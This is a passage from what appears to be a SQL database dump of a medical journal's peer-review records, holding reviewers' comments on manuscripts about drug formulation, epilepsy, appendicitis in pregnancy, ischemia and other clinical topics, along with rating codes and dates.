which the methods and technology is already known to the existing pharmaceutical experts as well as industries, but it represents  all the information regarding 3D printing technology in pharmaceutical formulation on a single platform.\r\n2.)	The author can compile information in a tabular format rather than showing in the descriptive format in the form of 3D printing technologies, methodology utilized in 3D Printing technology, 3D printer and 3D model. \r\n3.)	Application of 3D printing technology in the drug delivery system is well explained but if author can provide structures of synthetic polymers that used in the manuscript like Hydroxypropyl methyl cellulose (HPMC), Poly (lactic-co-glycolic acid) (PLGA), Polyvinyl alcohol (PVA).\r\n4.)	Overall the study provides vital information regarding 3D printing technology in pharmaceutical formulation development. This information will be of value for further usage on drug delivery. \r\n','','2019-10-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(783,633,2696,NULL,'1','r','n','y','y','1.	This manuscript does not discuss a novel concept/finding. The reported phenomenon already exists in literature. \r\n2.	Please make sure all the statements in introduction and discussion are referenced. These are evidence-based statements and not opinions. Please reference all clinical trials related to CBD oil as appropriate. In introduction – “Studies have reported interaction between CBD and clobazam” needs reference.\r\n3.	The sentence phrasing is extremely poor. Needs major grammar revisions. Please consult a writing service. There is inconsistency in writing style. Clobazam or clobazam? Generic names are always lowercase. \r\n4.	There is redundancy throughout the manuscript. Please mention only the pertinent positives in work-up. \r\n5.	Be careful with short forms. What is ADEM, CBD?? Please use full forms the first time you use these words in the manuscript. \r\n6.	There is no summary or conclusions in the discussion. Please give a one-line summary/clinical pearl for the clinicians taking care of patients with drug resistant epilepsy. \r\n','1.	This manuscript does not discuss a novel concept/finding. The reported phenomenon already exists in literature. \r\n2.	Please make sure all the statements in introduction and discussion are referenced. These are evidence-based statements and not opinions. Please reference all clinical trials related to CBD oil as appropriate. In introduction – “Studies have reported interaction between CBD and clobazam” needs reference.\r\n3.	The sentence phrasing is extremely poor. Needs major grammar revisions. Please consult a writing service. There is inconsistency in writing style. Clobazam or clobazam? Generic names are always lowercase. \r\n4.	There is redundancy throughout the manuscript. Please mention only the pertinent positives in work-up. \r\n5.	Be careful with short forms. What is ADEM, CBD?? Please use full forms the first time you use these words in the manuscript. \r\n6.	There is no summary or conclusions in the discussion. Please give a one-line summary/clinical pearl for the clinicians taking care of patients with drug resistant epilepsy. \r\n','2019-10-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(785,657,630,NULL,'5','g','y','y','n','Technological addition is not yet an officially recognized mental disorder but is emerging as a new field of study with significant social impacts. The authors highlighted the ambiguous distinction between excessive use and additive use and suggested that studying the subtypes of technological addictive behavior and mechanisms would shed light on risk factors involved. \r\nThe manuscript is well written with arguments logically presented. \r\nWhat are the symptoms of internet addition and are there guidelines for diagnosis?\r\nIs internet additional particularly difficult to define/diagnose in kids and teens, given their increased exposure to the cybernetwork and their lack of knowledge or awareness to properly manage internet use? \r\n','','2019-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(800,7415,2667,NULL,'2','D','N','Y','Y','The abstract	\r\n•	The abstract needs to be restructured to include (Introduction, Case presentation, discussion and conclusion).\r\n•	In terms of epidemiology most studies find a predominance of primary patients with acute appendicitis, in our study it was more the multipares.””.This need to be changed to “”In terms of epidemiology most studies find a predominance of primipara patients with acute appendicitis, in our study it was more the multipara patients.\r\n•	“”The most constant sign of examination at any stage of pregnancy remains the pain caused at the level of the right iliac fossa””. When one talks about signs he must use the term Tenderness, not pain. \r\n•	“”And this despite the migration of the appendix.””. And this despite the variable sites of the base of appendix of the appendix.””.\r\n•	“”Biology is only an additional diagnostic tool that does not alone affirm or deny the diagnosis.””. What is the meaning of biology in this sentence? Author needs to clarify this.\r\n•	What do the author means by “”The scanner””. Is it the CT scan? .If so needs to be mentioned as CT scan.\r\n•	“”pneumoperitin”” needs to be changed to “”pneumoperitoneum””.\r\n•	“”In our context, there is no place for coelioscopic surgery for appendectomy during pregnancy and laparotomy takes its place””. Better to write”” in this case “”. Laparoscopy is safe with all the advantages of laparoscopy. Author needs to defend why he did not operate by laparoscopy in all these cases \r\nKeyword\r\n•	Author needs to add”” appendectomy”” to the keyword.\r\nIntroduction \r\n•	“”Its occurrence during pregnancy exposes it.””. Better to write this sentence as “”Its occurrence during pregnancy exposes the pregnant women ””\r\nMethods\r\n•	Methodology (what study is this study? Is it a qualitative and quantitative research? ) what is the study design? (this is a cohort study), what is the inclusion and exclusion criteria?  There is no control group too.\r\nResults\r\n•	“”During the study period, 3751 women received an appendectomy at the department of visceral surgery.”” Change “”received”” to”” had “”.\r\n•	Abdominal defence. This needs to be changed to “”Abdominal guarding””.\r\n•	“”Biologically, the leukocyte count was performed in all of our patients with hyperleukocytosis””.Author needs to change”” hyperleulocytosis”” to “” leukocytosis””.\r\n•	In studying cases of infection or inflammation the urine sample is sent for bacteriology and not for cytology examination. “”Urine cytobacteriological examination”” .Author needs to change this to “”urine bacteriological examination “”. \r\n•	“”. Abdominal and obstetric ultrasound were performed in all patients and and was suggestive of acute appendicitis””. Author needs to remove the extra “”and””.\r\n•	The average hospital postoperative stay was 4.7 days. This is too long .author needs to explain the reason beyond that.\r\nDiscussion\r\n•	“”Whereas many women are still only primitive. “”. “”primitive”” needs to be changed to primipara.\r\n•	“”Similarly, acute appendicitis at the end of pregnancy often results in fetal extraction before appendicectomy””.”” Extraction”” needs to be changed to “”delivery””.\r\n•	“”In the first trimester, the semiology of appendicitis is no different from that observed in the non-pregnant woman””.”” Semiology”” needs to be changed to “”symptomatology””.\r\n•	“”The frequency of organogenesis, especially between the 2nd and 15th of gestational age.”” What is the meaning of “”The frequency of organogenesis””.\r\n•	“”On this date, the still pelvic uterus does not suppress neighboring organs that can form adhesions around the appendectular focal point and isolate it from the peritoneal cavity making an appendular plastron.”” Author needs to change thiese to “”appendicular””.\r\n•	“”The duration of administration and the type of antibiotic still need to be assessed””. It is a well-accepted fact that the prophylaxis antibiotic is one dose only within 30-60 minutes before surgery.\r\n•	“”Coelioscopy, which is contraindicated in case of scar abdomen due to the risk of adhesions””. Scar in abdomen is not a contraindication for laproscopy.\r\nFigures \r\n•	Author needs to change “”Chart”” to Figure.\r\n•	Figure 1 resolution is not good\r\n•	Figure 2 resolution is not good. The legends under the chart needto be written in English and not in French.\r\n•	“”All patients received pain medication combined with antibiotic therapy. “”.Author must be specify how did he use antibiotic therapy .Was it prophylaxis or treatment and on what base? And what was the antibiotic used? \r\n•	“”with peritoneal flushing and drainage in the case of abscesses or peritonitis””. Exrtraperitoneal approach is the proper method to treat appendicular abscess by laparotomy. Author needs to explain aspiration under ultrasound guide was chosen to deal with appendicular abscess.\r\n•	“”it also revealed appendicular mucocele in 1 patient (3.03%), which was re-performed for hemaicolectomy after delivery.””. The treatment for mucocelle (if there is no malignancy) is appendectomy nd not right hemicolectomy.\r\n\r\nReferences\r\n•	The references cited in the paper were not listed in ascending pattern in relation to citation.\r\n•	Reference 14 did not follow the same style or format of the rest of the references.\r\nReferences cited represent a good spread in terms of year of publication and number. But all of them are old references. Author needs to choose an up to date references\r\n\r\nGood luck\r\n','The abstract	\r\n•	The abstract needs to be restructured to include (Introduction, Case presentation, discussion and conclusion).\r\n•	In terms of epidemiology most studies find a predominance of primary patients with acute appendicitis, in our study it was more the multipares.””.This need to be changed to “”In terms of epidemiology most studies find a predominance of primipara patients with acute appendicitis, in our study it was more the multipara patients.\r\n•	“”The most constant sign of examination at any stage of pregnancy remains the pain caused at the level of the right iliac fossa””. When one talks about signs he must use the term Tenderness, not pain. \r\n•	“”And this despite the migration of the appendix.””. And this despite the variable sites of the base of appendix of the appendix.””.\r\n•	“”Biology is only an additional diagnostic tool that does not alone affirm or deny the diagnosis.””. What is the meaning of biology in this sentence? Author needs to clarify this.\r\n•	What do the author means by “”The scanner””. Is it the CT scan? .If so needs to be mentioned as CT scan.\r\n•	“”pneumoperitin”” needs to be changed to “”pneumoperitoneum””.\r\n•	“”In our context, there is no place for coelioscopic surgery for appendectomy during pregnancy and laparotomy takes its place””. Better to write”” in this case “”. Laparoscopy is safe with all the advantages of laparoscopy. Author needs to defend why he did not operate by laparoscopy in all these cases \r\nKeyword\r\n•	Author needs to add”” appendectomy”” to the keyword.\r\nIntroduction \r\n•	“”Its occurrence during pregnancy exposes it.””. Better to write this sentence as “”Its occurrence during pregnancy exposes the pregnant women ””\r\nMethods\r\n•	Methodology (what study is this study? Is it a qualitative and quantitative research? ) what is the study design? (this is a cohort study), what is the inclusion and exclusion criteria?  There is no control group too.\r\nResults\r\n•	“”During the study period, 3751 women received an appendectomy at the department of visceral surgery.”” Change “”received”” to”” had “”.\r\n•	Abdominal defence. This needs to be changed to “”Abdominal guarding””.\r\n•	“”Biologically, the leukocyte count was performed in all of our patients with hyperleukocytosis””.Author needs to change”” hyperleulocytosis”” to “” leukocytosis””.\r\n•	In studying cases of infection or inflammation the urine sample is sent for bacteriology and not for cytology examination. “”Urine cytobacteriological examination”” .Author needs to change this to “”urine bacteriological examination “”. \r\n•	“”. Abdominal and obstetric ultrasound were performed in all patients and and was suggestive of acute appendicitis””. Author needs to remove the extra “”and””.\r\n•	The average hospital postoperative stay was 4.7 days. This is too long .author needs to explain the reason beyond that.\r\nDiscussion\r\n•	“”Whereas many women are still only primitive. “”. “”primitive”” needs to be changed to primipara.\r\n•	“”Similarly, acute appendicitis at the end of pregnancy often results in fetal extraction before appendicectomy””.”” Extraction”” needs to be changed to “”delivery””.\r\n•	“”In the first trimester, the semiology of appendicitis is no different from that observed in the non-pregnant woman””.”” Semiology”” needs to be changed to “”symptomatology””.\r\n•	“”The frequency of organogenesis, especially between the 2nd and 15th of gestational age.”” What is the meaning of “”The frequency of organogenesis””.\r\n•	“”On this date, the still pelvic uterus does not suppress neighboring organs that can form adhesions around the appendectular focal point and isolate it from the peritoneal cavity making an appendular plastron.”” Author needs to change thiese to “”appendicular””.\r\n•	“”The duration of administration and the type of antibiotic still need to be assessed””. It is a well-accepted fact that the prophylaxis antibiotic is one dose only within 30-60 minutes before surgery.\r\n•	“”Coelioscopy, which is contraindicated in case of scar abdomen due to the risk of adhesions””. Scar in abdomen is not a contraindication for laproscopy.\r\nFigures \r\n•	Author needs to change “”Chart”” to Figure.\r\n•	Figure 1 resolution is not good\r\n•	Figure 2 resolution is not good. The legends under the chart needto be written in English and not in French.\r\n•	“”All patients received pain medication combined with antibiotic therapy. “”.Author must be specify how did he use antibiotic therapy .Was it prophylaxis or treatment and on what base? And what was the antibiotic used? \r\n•	“”with peritoneal flushing and drainage in the case of abscesses or peritonitis””. Exrtraperitoneal approach is the proper method to treat appendicular abscess by laparotomy. Author needs to explain aspiration under ultrasound guide was chosen to deal with appendicular abscess.\r\n•	“”it also revealed appendicular mucocele in 1 patient (3.03%), which was re-performed for hemaicolectomy after delivery.””. The treatment for mucocelle (if there is no malignancy) is appendectomy nd not right hemicolectomy.\r\n\r\nReferences\r\n•	The references cited in the paper were not listed in ascending pattern in relation to citation.\r\n•	Reference 14 did not follow the same style or format of the rest of the references.\r\nReferences cited represent a good spread in terms of year of publication and number. But all of them are old references. Author needs to choose an up to date references\r\n\r\nThank You\r\n','2019-10-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(805,8785,2719,NULL,'4','G','Y','Y','Y','The manuscript titled \"Paroxetine attenuates cerebral ischemia/reperfusion injury in rat via its anti-inflammatory and antioxidant effects\" has a good experimental design and brings new insights about Paroxentine. \r\nThe figure legends can be in more detail. The references can be improves by adding some recent publications related to the manuscript.','The manuscript has some new finds and I would recommend it to be published with minor improvements to the figure legends and reference section.','2019-10-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(806,8785,2635,NULL,'4','d','Y','Y','Y','The manuscript titled \" The intracerebral hemorrhage (ICH) in the state of Qatar\" consolidates the information which available for the 4 year time period. The database need to keep updating in-order make a more a population relevant finding.\r\nThe article brings to the table some new data which has not been published before. I appreciate the authors for their study. I suggest to revise the discussion section and compare the data with other studies which were performed in the field.\r\n  ','This article can be accepted with minor updates to the Discussion. This study brings together new findings about the Qatar population and intracerebral hemorrhage (ICH).\r\nThank you.','2019-10-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(810,9537,2602,NULL,'4','g','d','y','y','1.	The article of Evaluation of in vitro antibacterial activity of extract of semi-aquatic plants growing in the polluted water of Sri Lanka is well written with future prospective.\r\n2.	Author need to explain the names of infectious diseases \r\n3.	Antibacterial efficacy and potency can’t determine only depend on the size of bacterial inhibition Zone, but its Results helps in providing information for further on antibacterial studies \r\n4.	Author has mentioned antimicrobial agents classified into six major classes based on the chemical and proposed mechanisms of action, but author did not mention what are those classes of agents \r\n','','2019-10-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(816,9663,2674,NULL,'4','g','y','y','y','General Comments	\r\nGrammatical Comments	•	Articles corrections are required at few  places “a” and “an” eg: page 14 an “knowledge”\r\n•	Check the grammar e.g. Was need to corrected to were. eg. Page 3: Our main research questions was\r\n•	Spellcheck for Few words e.g. “mHealht” “tekst”\r\n•	low- and middle-income countries can be written as low and middle-income countries\r\nDecorative comments	•	Inconsistency of font\r\n•	Uniform Paragraphs spacing\r\n•	Word Spacing e.g. “Websurvey” and “observed  need”\r\n•	Justify the document text across entire document (use Justify tab)\r\n•	Mention all the references in superscript format e.g. costs (1–3)\r\n\r\nSection wise Comments	\r\nSections of Article	•	Article shall be organized into the following sections: Title, Authors, Affiliations, Abstract, Introduction, Methods, Results, Discussion, References, Acknowledgments, Figure Legends and Table Captions.\r\nTitle	•	Titles should be presented in title case (all words except for prepositions, articles and conjunctions should be capital)\r\nAuthors and Affiliations	•	Mention the city, state/province (if applicable) and country of all authors\r\n•	Mention only one or two email id of corresponding authors. \r\nAbstract	•	Abstract should be concise and should not preferably exceed 300 words.\r\n•	The abstract should be divided into the following four sections with the headings: Title, Background, Methods and Findings and Conclusion\r\n•	Background: specify the objective of study\r\n•	Methods and Findings: Include design, setting, participants and results in this section and in the sentence format. \r\n•	Conclusion: make it concise.\r\n•	Abstract should contain specification of non-communicable diseases. (reader shall quickly capture idea of the non-communicable diseases included in the study in result section of article)\r\n\r\nKey Words	•	Key words should be included in article at end of the abstract. (helpful for search strings)\r\nIntroduction	•	In non-communicable diseases should also include common diseases like Cancer, cardiovascular Diseases (Heart Attacks and hypertension), Strokes, Kidney Diseases and mental health. (NCD- Metal health was part of result analysis but not specified in the introduction)\r\nMethods	•	Purpose should be part of introduction\r\nDiscussion	•	Include “Strength and limitations of study” in the discussion section (Page 2)\r\n•	In the discussion instead of “thecollectivity.org” mention the reference number.\r\nTables 	•	Header should be Bold and first letter should be capital. \r\n•	Table 1:Find table 1 with small correction (abbreviations used in headers)\r\n•	Table 1: Checklist was not specified for Varleta et al., Hassan et al. and celik et al. (Data missing)\r\n•	Table 2: Interventional domain was not specified for refences 24, 25 and 26. If no category mentioned in the references,  then remove from the table and mention in the result section with relevant reference.(Data missing)\r\n•	Table 2: use Landscape page format\r\nData sharing statement	•	Remove “Data sharing statement: No additional data available”. No need to mention.\r\nAbbreviations	•	Web Annex 1, 2, 2b, 3: short description is required\r\nFigures	•	Missing\r\nLiterature	•	Mention “References” instead of “Literature”\r\n•	Available form is not necessary\r\n','Article is acceptable with minor changes.  ','2019-11-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(818,7415,2693,NULL,'2','G','N','Y','Y','•	The topic is an interesting topic.\r\n•	The manuscript was not well written with multiple grammatical errors and poor punctuations. \r\n•	The title is too long .Author needs to make it short and informative \r\n•	The use of abbreviations like. .VIS, BM, COPD, ICU... and others should be written in full the first time they are used in the manuscript.\r\n•	Abstract was well written.\r\nKeyword\r\n•	Author needs to add more keywords. (Diabetic foot, Obesity, BMI, lower limb amputation) can be added as keywords.\r\nThe page layout must include one column. The two columns method had bad impact on the manuscript. The paragraphs were disorganized and it was difficult to understand the components. \r\nIntroduction\r\n•	“”Obesity Paradox–Reverse Epidemiology?”” This sentence is not clear.\r\nMaterial and methods \r\n•	Author needs to write “”material and methods as a text first, then he can include figures within the text.\r\n•	Each figure needs a legend to be written after the figure number.\r\n•	Author needs to define what minor and major amputation means?\r\n•	It was difficult for me to follow the manuscript. The figures and the tables were mixed. The format of the manuscript was improper. \r\nResults\r\n•	Author needs to write the results in a text form. He can include figures in the text within the context of the result. \r\n•	The figures were put in a bizarre way. Author needs to punctuate them. \r\n•	Better not to use abbreviations in figures.\r\nDiscussion.\r\n•	Author must discuss the results point by point. \r\n•	He must correlate his results with those present in medical literatures.\r\nConclusion\r\n•	No need to mention results in conclusion.\r\n•	Author needs to conclude from his work and write a concise short sentences.\r\nFigures and tables \r\n•	Too many figures \r\n•	The figures were put in a bizarre way. Author needs to punctuate them.\r\n•	Each figure needs a legend to be written after the figure number.\r\nReferences\r\n•	References did not pursue a special style or format. \r\n•	References must be written one by one, in a full line. The page layout must be in one column format.\r\n•	References cited in the paper were not listed in ascending pattern in relation to citation( Reference 9 was cited before reference number 8)\r\n\r\nGood luck \r\n\r\n\r\n','•	The topic is an interesting topic.\r\n•	The manuscript was not well written with multiple grammatical errors and poor punctuations. \r\n•	The title is too long .Author needs to make it short and informative \r\n•	The use of abbreviations like. .VIS, BM, COPD, ICU... and others should be written in full the first time they are used in the manuscript.\r\n•	Abstract was well written.\r\nKeyword\r\n•	Author needs to add more keywords. (Diabetic foot, Obesity, BMI, lower limb amputation) can be added as keywords.\r\nThe page layout must include one column. The two columns method had bad impact on the manuscript. The paragraphs were disorganized and it was difficult to understand the components. \r\nIntroduction\r\n•	“”Obesity Paradox–Reverse Epidemiology?”” This sentence is not clear.\r\nMaterial and methods \r\n•	Author needs to write “”material and methods as a text first, then he can include figures within the text.\r\n•	Each figure needs a legend to be written after the figure number.\r\n•	Author needs to define what minor and major amputation means?\r\n•	It was difficult for me to follow the manuscript. The figures and the tables were mixed. The format of the manuscript was improper. \r\nResults\r\n•	Author needs to write the results in a text form. He can include figures in the text within the context of the result. \r\n•	The figures were put in a bizarre way. Author needs to punctuate them. \r\n•	Better not to use abbreviations in figures.\r\nDiscussion.\r\n•	Author must discuss the results point by point. \r\n•	He must correlate his results with those present in medical literatures.\r\nConclusion\r\n•	No need to mention results in conclusion.\r\n•	Author needs to conclude from his work and write a concise short sentences.\r\nFigures and tables \r\n•	Too many figures \r\n•	The figures were put in a bizarre way. Author needs to punctuate them.\r\n•	Each figure needs a legend to be written after the figure number.\r\nReferences\r\n•	References did not pursue a special style or format. \r\n•	References must be written one by one, in a full line. The page layout must be in one column format.\r\n•	References cited in the paper were not listed in ascending pattern in relation to citation( Reference 9 was cited before reference number 8)\r\n\r\nThank you\r\n\r\n','2019-11-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(824,5467,2876,NULL,'2','R','D','Y','Y','IT LOOKS good study, good research, where is full study article?? i cant see abstract also??\r\n\r\npls. send full abstract, article to review','we need full article, full abstract???\r\n\r\npls upload it again','2019-11-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(825,4512,2768,NULL,'4','g','Y','M','Y','Consumer\'s should be changed to Consumers\' all through the manuscript including the title\r\nLine 31, change %36 to 36\r\nline 77, cities and not sities\r\nLine 85, remove full-stop after assess\r\nLine 118, delete Adeli, 2013\r\nLine 121, change utilized to used\r\nLine 134, replace \"ar all deductive\" with \"inferential\"\r\nLine 139, please rephrase to make it clearer\r\nLine146, rephrase the introduction\r\nLine 168, 1.9 times\r\nTable 1, bold the subheadings, Age, Gender, education and Occupation\r\nTable 2, rephrase questions 1, 5 and 12.','There are few things that needed to be corrected','2019-11-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(827,9206,2876,NULL,'5','r','D','M','Y','should give more background for someone not familiar with the upper gastrointestinal bleeding and the use of Second-look endoscopy can be discussed more','The study deals with gastrointestinal bleeding stated as an emergency, the author should give more background for someone not familiar with the upper gastrointestinal bleeding and the use of Second-look endoscopy can be discussed more. There is a Clear presentation of the literature, overall the study is convincing and can be considered for publication in the journal.','2019-11-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(832,9720,2877,NULL,'2','R','Y','Y','Y','There is a short abstract which is presented..the author needs to write the incidence of the disease in the population and statistical data regarding the incidence of such migration.. author needs to also write in. Discussion regarding previous case reports with details of intraop finding ( from where it was perforated as in which part and regarding the features of perforation if any. Any other symptoms experienced? What was the time interval between the surgery and this complication, ? What was the rationale in reporting this case? What precaution would you suggest to prevent this? This case report seems to be Just a pliargiism of the article in this link https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5898128/.. kindly rectify and get back. Good luck','Kindly check for pliargiism in this link https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5898128/','2019-11-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(837,7022,2708,NULL,'4','5','2','3','4','1.)	Author should provide figures for the TLC profiling for the different extracts mentioned in this manuscript.\r\n2.)	Has the author used or tried methods which are commonly used for the detection of alkaloids such as Mayers test. Is the result comparable to the result author got from his techniques used in this manuscript.\r\n3.)	Comment on why the author has not assessed other additional components such as Steroids, Coumarins, Resins, Tannins.\r\n4.)	The author should provide information on the ratios used such as Ethyl alcohol: chloroform:water or Ethyl alcohol:water.\r\n','','2019-11-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(838,7022,2633,NULL,'2','3','2','3','2','\r\n1.)	For the in vivo pharmacokinetics why did the authors choose 0.75 hr as the starting point for blood collection and not 0.5. Please comment. \r\n2.)	Comment if author has performed release profile of the drug or if there some information available in literature from other studies \r\n3.)	Comment if data is available on the percentage swelling of the formulation and its erosion.\r\n4.)	Presenting the data on retention time of drug including its internal standard will be important to evaluate the accurate biodistribution of the formulation.\r\n5.)	The author should provide a table with information on the mean residential time and elimination rate constant. \r\n','','2019-11-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(839,7022,2755,NULL,'2','4','3','2','4','\r\n1.)	Comment on why the author has selected only the male albino rats for this study have any similar studies showed that females behave in a different manner with other test compounds. Do you expect to achieve different results with the female rats.\r\n2.)	In their phytochemical analysis data has the author tested some additional important chemicals such as the fats and fixed oils, carbohydrates and proteins. \r\n','','2019-11-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(841,9765,2887,NULL,'6','G','Y','Y','Y','Strongly recommended','Strongly recommended.','2019-11-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(844,4473,2858,NULL,'1','R','D','M','Y','There are major problems with this study.\r\n1)  There wasn\'t a triplicate for every experimental diet. So, the tank effect can not be ignored.\r\n2) The authors did not provide the exact component of the basal feed (total protein, lipid component, vitamins ect)\r\n3) The authors did not describe how exactly did they took blood fro fish.\r\n4) The authors performed a one way Anova to their results without checking for normality.\r\n5) There are no error bar at figure 3.\r\n6) There is not cleared if the results per column at table 1 are statistically different. A performance of tukey test and clarification with superscripts to the cell numbers are necessary. \r\n7) The authors did not provide S.D. or S.E. to the results of the weight gain or the hematological parameters. They didn\'t ether provide the p value of the Anova checking, or the results of the tukey test. So, they refer differences to the weight gain and to the hematological parameters among the different experimental diets, but they can not prove it statistically. ','','2019-11-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(845,9764,2887,NULL,'6','g','y','y','Y','It\'s a great idea to evaluate the actual questionnaires used in clinical practice, in order to prove that they can be useful or not in all clinical situations of a certain pathology. ','','2019-11-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(847,9797,2877,NULL,'4','R','N','M','N','Greetings, thank you for your great effort to write like this important work. Although, the topic of this case report is repeated, it  should be revised again and edited accurately with updated information about VP. The period and departments of case study should be mentioned. It would be worthwhile if the number of ethical approval be mentioned. \r\nFinally, I would like to appreciate you work and thank you. \r\nBest regards\r\n','I would deeply like to thank you for giving me this interesting opportunity to take part your valued journal in reviewing the articles.   In my point of view, due to repetition of this topic, so, if this case report is revised and edited by authors accurately with updated information about VP, it would be important work in medical field. The period and departments of case study should be mentioned. After editing, it will be completely accepted to be published.  ','2019-11-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(851,7021,2902,NULL,'4','G','Y','Y','Y','This is an important study about novel telomerase inhibitors. Please re-check the whole manuscript carefully. Figure 4 needs to be revised with the error bar for DMSO treatment. Figure 3 may be revised to have number of cells alive in BIBR1532 and KU-30 cells in discussion. ','','2019-11-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(855,9797,2844,NULL,'4','R','N','M','N','Greetings, thank you for your great effort to write like this important work. The article has been written well. However, this type of study is repeated but not in  Abakaliki. My question is why you didn\'t make studying on new cased at recent time and you you chose this period from 2014 to 2017?  \r\nAlso, the number of cases is so small. the number should be not below 100 cases. \r\nI found the same type of work has been published from another areas of Nigeria such as  Plateau.\r\nFinally, I would like to appreciate you work and thank you. \r\nBest regards\r\n','I would deeply like to thank you for giving me this interesting opportunity to take part your valued journal in reviewing the articles. The article has been written well. However, I found this topic of study is repeated and the period of study is very old and the number of cases is very small. If this work is updated, it would be very important in the medical field. Kind regards ','2019-11-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(856,9797,2919,NULL,'4','G','y','Y','Y','Greetings, thank you for your great effort to write like this important work. The article has been written very well. I found this study has enough number of cases, recent research, updated references and accurate discussion. .However, the formatting of writing should be edited accurately. Also, references should be mentioned in the introduction. Conclusion should be declared briefly and clearly. After editing, the article should be accepted to be published. \r\nKind regards ','Thank you for you invitation to review this interesting article. If my mentioned comments are done, in my point of view , this work would be effective in medical field after its publication. \r\nBest regards','2019-11-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(857,9803,2877,NULL,'2','g','d','m','n','This is an interesting study but correct the problems below\r\n1.Please Review the English with a native and put the grammatical corrections in red in the new manuscript\r\n2.Its  better to describe more about the  first procedure and mention the size and material of shunt in case presentation  part\r\n\r\n','','2019-11-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(861,9133,2633,NULL,'4','R','Y','M','Y','Please provide or state whether the Pharmacokinetic studies performed were protocol based.\r\nAuthors need to provide the predefined criteria for the subject selection for the PK studies as the results are highly dependent on the subject selection.\r\nPlease provide the analyts measured for the PK studies, how many replicates were performed and the degree of variability obtained.','','2019-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(862,9133,2697,NULL,'4','R','Y','M','Y','The Authors should provide the extensive structure activity relationship so as to support the optimum activity of compound 2a and other related compound. An ideal SAR is supportive for these kind of studies.\r\nThe Authors have performed solubility test. However looking at the manuscript, the mentioned test conduct looks qualitative. Please perform the quantitative analysis for reporting the solubility results. Alternatively, if the mentioned criteria (sparingly soluble, insoluble etc) are having some quantitative background and quantitative analysis is performed, please update accordingly.\r\nPlease state the correlation between the solubility studies and the inflammatory activity.\r\nPlease provide the Elemental (CHN) analysis results of the synthesized compounds.','','2019-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(863,9133,2697,NULL,'4','R','Y','M','Y','The Authors should provide the extensive structure activity relationship so as to support the optimum activity of compound 2a and other related compound. An ideal SAR is supportive for these kind of studies.\r\nThe Authors have performed solubility test. However looking at the manuscript, the mentioned test conduct looks qualitative. Please perform the quantitative analysis for reporting the solubility results. Alternatively, if the mentioned criteria (sparingly soluble, insoluble etc) are having some quantitative background and quantitative analysis is performed, please update accordingly.\r\nPlease state the correlation between the solubility studies and the inflammatory activity.\r\nPlease provide the Elemental (CHN) analysis results of the synthesized compounds.','','2019-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(864,9133,2708,NULL,'4','R','Y','M','Y','Please provide the possible structures of the potential compounds separated by the TLC technique.\r\nAlternate/Orthogonal strategies should be adopted for identification and characterization of the separated compounds to provide a more conclusive study output.','','2019-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(866,9004,1394,NULL,'3','G','N','Y','n','It is a very good and importate study, but it needs some revisions. For example:\r\nIt is too long and in monograph format\r\nSome paragraphs without reference.\r\nSome long and unformatted tables.','It is a very good and importate study, but it needs some revisions. For example:\r\nIt is too long and in monograph format\r\nSome paragraphs without reference.\r\nSome long and unformatted tables.','2019-11-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(868,9897,2617,NULL,'6','G','D','Y','Y','Authors 